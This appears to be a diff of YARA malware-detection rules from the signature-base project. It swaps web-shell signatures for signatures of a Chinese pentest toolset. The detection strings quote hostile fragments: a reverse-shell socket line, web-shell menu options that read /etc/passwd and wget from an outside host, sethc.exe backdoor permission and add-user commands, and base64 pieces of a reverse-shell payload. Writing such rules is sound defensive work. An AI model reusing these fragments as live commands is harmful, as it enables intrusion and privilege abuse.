+rule SIGNATURE_BASE_CN_Honker_Wwwscan_Gui : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2014-01-28"
+		id = "fffed806-4394-505a-96bd-50bf6f24aefc"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2546-L2567"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5da06481cf789e71969a5b54a33bfab41e08a1961cc056604a696203fef48422"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1468-L1483"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+		logic_hash = "9c25cf33fc2f675c8db7b24f2abe03d54c0ae17927e0ca9ccd3e5b97ffc56f73"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "791708057d8b429d91357d38edf43cc0"
-		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
-		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
-		hash3 = "40a1f840111996ff7200d18968e42cfe"
-		hash4 = "e0202adff532b28ef1ba206cf95962f2"
-		hash5 = "0712e3dc262b4e1f98ed25760b206836"
-		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
-		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
+		$s2 = "/eye2007Admin_login.aspx" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <280KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_807_Dm_Jspspyjdk5_M_Cofigrue
+rule SIGNATURE_BASE_CN_Honker_Swordcolledition : FILE
 {
 	meta:
-		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4e8d4d48-c053-5579-be9c-af73ec0fe614"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2568-L2587"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0fc7ac740e147bd3703dac74743b19148aa7bb359cc5f347acf3b0dbe26bf752"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1485-L1500"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
+		logic_hash = "bbc5c9bb91bdd60582e2d7f6fa9b1a1cc3799e0809b670d575d9b2c77bf5e884"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
-		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
-		hash2 = "341298482cf90febebb8616426080d1d"
-		hash3 = "88fc87e7c58249a398efd5ceae636073"
-		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
 
 	strings:
-		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
-		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword
+		$s0 = "YuJianScan.exe" fullword wide
+		$s1 = "YuJianScan" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <225KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Dive_Shell_1_0_Emperor_Hacking_Team_Xxx
+rule SIGNATURE_BASE_CN_Honker_Hconstfportable : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "591cbd4a-0035-5903-a7dc-8f8ee6dc9f50"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2588-L2605"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bf11041a16060fa32431adfe33727863355bae7fec2cf841dcc919092db5c80"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1502-L1517"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
+		logic_hash = "d4368994d38b87a4c0a53321a468fa8a72411ccb17befa0bbc62bdd6de9e1a52"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
-		hash1 = "f8a6d5306fb37414c5c772315a27832f"
-		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
 
 	strings:
-		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
-		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword
+		$s1 = "HconSTFportable.exe" fullword wide
+		$s2 = "www.Hcon.in" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <354KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_404_Data_In_Jfolder_Jfolder01_Xxx
+rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V3_LPK : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "c5b806d9-74dc-5244-b1e0-9837abeaeaac"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2606-L2628"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "171b811c1b93f99f3070692a91a0462f80d9d52ecf26d7fb7297a8bdd9a4c014"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1519-L1536"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+		logic_hash = "20e949bef1c1631ef2a48c78c2ccc4dcea2f842275ec5df3e31c5d915e8a2a04"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "7066f4469c3ec20f4890535b5f299122"
-		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
-		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
-		hash3 = "8979594423b68489024447474d113894"
-		hash4 = "ec482fc969d182e5440521c913bab9bd"
-		hash5 = "f98d2b33cd777e160d1489afed96de39"
-		hash6 = "4b4c12b3002fad88ca6346a873855209"
-		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
-		hash8 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"
+		$s1 = "FreeHostKillexe.exe" fullword ascii
+		$s2 = "\\sethc.exe /G everyone:F" ascii
+		$s3 = "c:\\1.exe" fullword ascii
+		$s4 = "Set user Group Error! Username:" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Reverse_Jsp_Reverse_Jspbd
+rule SIGNATURE_BASE_CN_Honker_Without_A_Trace_Wywz : FILE
 {
 	meta:
-		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "1093c0c3-499f-5aec-ad4a-878d377296d5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2629-L2647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd7409bb6ace3044f3d0bf380133c4fe4a7c0c0309f9d800b397439aa95f81fc"
-		score = 50
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1538-L1554"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
+		logic_hash = "0f6ca7d44312afef49d3094af7b33af5e41f4531e7e7f9f37cf050700755bb3e"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
-		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
-		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
 
 	strings:
-		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
-		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
-		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword
+		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" ascii
+		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii
+		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1800KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_400_In_Jfolder_Jfolder01_Jsp_Leo_Warn_Webshell_Nc
+rule SIGNATURE_BASE_CN_Honker_LPK2_0_LPK : FILE
 {
 	meta:
-		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4aa40b78-5fe4-5312-881c-e5a292435ff0"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2648-L2672"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74e31e51f2cb46a042e8591ffb44fe68fb591d202c8171c6afb556eddb381f6f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1556-L1573"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		logic_hash = "d693b880d5419277d9189d44ace60fe5f328b4662c1975a8bc97e63dc073d1e6"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "36331f2c81bad763528d0ae00edf55be"
-		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
-		hash2 = "8979594423b68489024447474d113894"
-		hash3 = "ec482fc969d182e5440521c913bab9bd"
-		hash4 = "f98d2b33cd777e160d1489afed96de39"
-		hash5 = "4b4c12b3002fad88ca6346a873855209"
-		hash6 = "e9a5280f77537e23da2545306f6a19ad"
-		hash7 = "598eef7544935cf2139d1eada4375bb5"
 
 	strings:
-		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
-		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
-		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
-		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword
+		$s1 = "\\sethc.exe /G everyone:F" ascii
+		$s2 = "net1 user guest guest123!@#" fullword ascii
+		$s3 = "\\dllcache\\sethc.exe" ascii
+		$s4 = "sathc.exe 211" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <1030KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_2_520_Job_Jspwebshell_1_2_Ma1_Ma4_2
+rule SIGNATURE_BASE_CN_Honker_Cleaniis : FILE
 {
 	meta:
-		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "75f3c33a-e3b8-57bc-a3fd-f8b6491388d8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2673-L2695"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49614b2a42210fa134f85fa52c66e12809f2bb9eaf56c17b69d21e5fbfc8888b"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1575-L1590"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "372bc64c842f6ff0d9a1aa2a2a44659d8b88cb40"
+		logic_hash = "6f3fe22c9ce8b576116a3fc185910488f37b687c1158d49a93feaa68a144a8db"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "64a3bf9142b045b9062b204db39d4d57"
-		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
-		hash2 = "56c005690da2558690c4aa305a31ad37"
-		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
-		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
-		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
-		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
-		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
-		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"
+		$s1 = "iisantidote <logfile dir> <ip or string to hide>" fullword ascii
+		$s4 = "IIS log file cleaner by Scurt" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Shell_2008_2009Mssql_Phpspy_2005_Full_Phpspy_2006_Arabicspy_Hkrkoz
+rule SIGNATURE_BASE_CN_Honker_Arp3_7_Arp3_7 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file arp3.7.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2014-01-28"
+		id = "a4aeefaf-a097-5ba3-a18f-54a1b9752883"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2696-L2720"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "140af92ab61059649a872bef96b916f2c402fd9891301d4a1ba1f389a45af003"
-		score = 60
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1592-L1607"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "db641a9dfec103b98548ac7f6ca474715040f25c"
+		logic_hash = "9930d5f13c4dc5cae25dece811911e71e858e3fef51a09c99883699e7feb4908"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "791708057d8b429d91357d38edf43cc0"
-		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
-		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
-		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
-		hash4 = "40a1f840111996ff7200d18968e42cfe"
-		hash5 = "e0202adff532b28ef1ba206cf95962f2"
-		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
-		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
-		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
-		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
-		$fn = "filename: backup"
+		$s1 = "CnCerT.Net.SKiller.exe" fullword wide
+		$s2 = "www.80sec.com" fullword wide
 
 	condition:
-		2 of ($s*) and not $fn
+		uint16(0)==0x5a4d and filesize <4000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Gfs_Sh_R57Shell_R57Shell127_Sniper_SA_Xxx
+rule SIGNATURE_BASE_CN_Honker_Exp_Ms11080 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file ms11080.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "2f5ce2f3-3595-5729-be0c-3f6486cb94fd"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2721-L2746"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "24d93f9ae5e174873a32abdf8dca6c00f03cbb4c5e2ad531ac7fa34f8fc90794"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1609-L1624"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+		logic_hash = "57eb1cdd1108c82da399b0aa869edc9e377e0185896504716bec8925599c07f0"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
-		hash1 = "ef43fef943e9df90ddb6257950b3538f"
-		hash2 = "ae025c886fbe7f9ed159f49593674832"
-		hash3 = "911195a9b7c010f61b66439d9048f400"
-		hash4 = "697dae78c040150daff7db751fc0c03c"
-		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
-		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
-		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
-		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
-		hash9 = "41af6fd253648885c7ad2ed524e0692d"
-		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
-		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii
+		$s6 = "[*] Add to Administrators success" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <840KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Itsec_Phpjackal_Itsecteam_Shell_Jhn
+rule SIGNATURE_BASE_CN_Honker_Injection_Transit : FILE
 {
 	meta:
-		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
+		description = "Sample from CN Honker Pentest Toolset - file Injection_transit.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2747-L2766"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c97731c28f59a6fbab2b7882fae171da8d71add73ec92ab6093dec57fcd7207"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1626-L1642"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f4fef2e3d310494a3c3962a49c7c5a9ea072b2ea"
+		logic_hash = "3e6fe804b9b6e8555c847a165bb0a8b266004653531fe8f11e3937108757f2ff"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
-		hash1 = "e2830d3286001d1455479849aacbbb38"
-		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
-		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
 
 	strings:
-		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
-		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
-		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"
+		$s0 = "<description>Your app description here</description> " fullword ascii
+		$s4 = "Copyright (C) 2003 ZYDSoft Corp." fullword wide
+		$s5 = "ScriptnackgBun" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <3175KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Shell_Ci_Biz_Was_Here_C100_V_Xxx
+rule SIGNATURE_BASE_CN_Honker_Safe3Wvs : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file Safe3WVS.EXE"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "035ecb73-3dbc-55d2-8d0c-b71308094d18"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2767-L2787"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a7841dec442877648a589045849f7f1b80316a30dda5a44ccc4bb626dbd2cdea"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1644-L1662"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fee3acacc763dc55df1373709a666d94c9364a7f"
+		logic_hash = "803591fa9427c3001f78ae6274076f3a2f070770d568909d6cba8cee5124ee4c"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "f2fa878de03732fbf5c86d656467ff50"
-		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
-		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
 
 	strings:
-		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
-		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
-		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
-		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
-		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"
+		$s0 = "2TerminateProcess" fullword ascii
+		$s1 = "mscoreei.dll" fullword ascii
+		$s7 = "SafeVS.exe" fullword wide
+		$s8 = "www.safe3.com.cn" fullword wide
+		$s20 = "SOFTWARE\\Classes\\Interface\\" ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_Xxx1
+rule SIGNATURE_BASE_CN_Honker_NBSI_3_0 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "be8d0dce-4f7f-5f18-9ed0-99fc1dc2b22f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
